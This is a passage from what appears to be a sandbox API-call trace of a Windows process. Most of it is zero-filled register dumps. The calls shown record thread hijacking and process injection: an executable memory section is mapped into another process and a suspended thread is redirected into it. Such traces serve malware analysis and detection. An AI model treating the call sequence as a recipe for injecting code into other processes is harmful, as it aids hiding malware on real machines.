SegCs=0x23, EFlags=0x216, Esp=0xb2fd30, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0594.828] NtResumeThread (in: ThreadHandle=0x1e4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0594.828] NtClose (Handle=0x20c) returned 0x0 [0594.828] NtClose (Handle=0x1e4) returned 0x0 [0594.830] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xea8, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x1e4) returned 0x0 [0594.830] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0594.830] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0594.830] NtReadVirtualMemory (in: ProcessHandle=0x1e4, BaseAddress=0xa4e000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0594.831] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0599.856] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xe14) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0599.856] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0599.909] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x1e4, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x29b0000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0599.914] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x95f720, Ebx=0xa4e000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x95f6c8, Eip=0x7742295c, SegCs=0x23, EFlags=0x212, Esp=0x95f6b0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0599.915] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0599.915] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x1aca00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x1ad000) returned 0x0 [0599.925] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x1e4, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x1aca00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x3380000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x1ad000) returned 0x0 [0599.959] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0599.993] NtClose (Handle=0x214) returned 0x0 [0599.993] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x95f720, Ebx=0xa4e000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x95f6c8, Eip=0x349a927, SegCs=0x23, EFlags=0x212, Esp=0x95f6b0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, 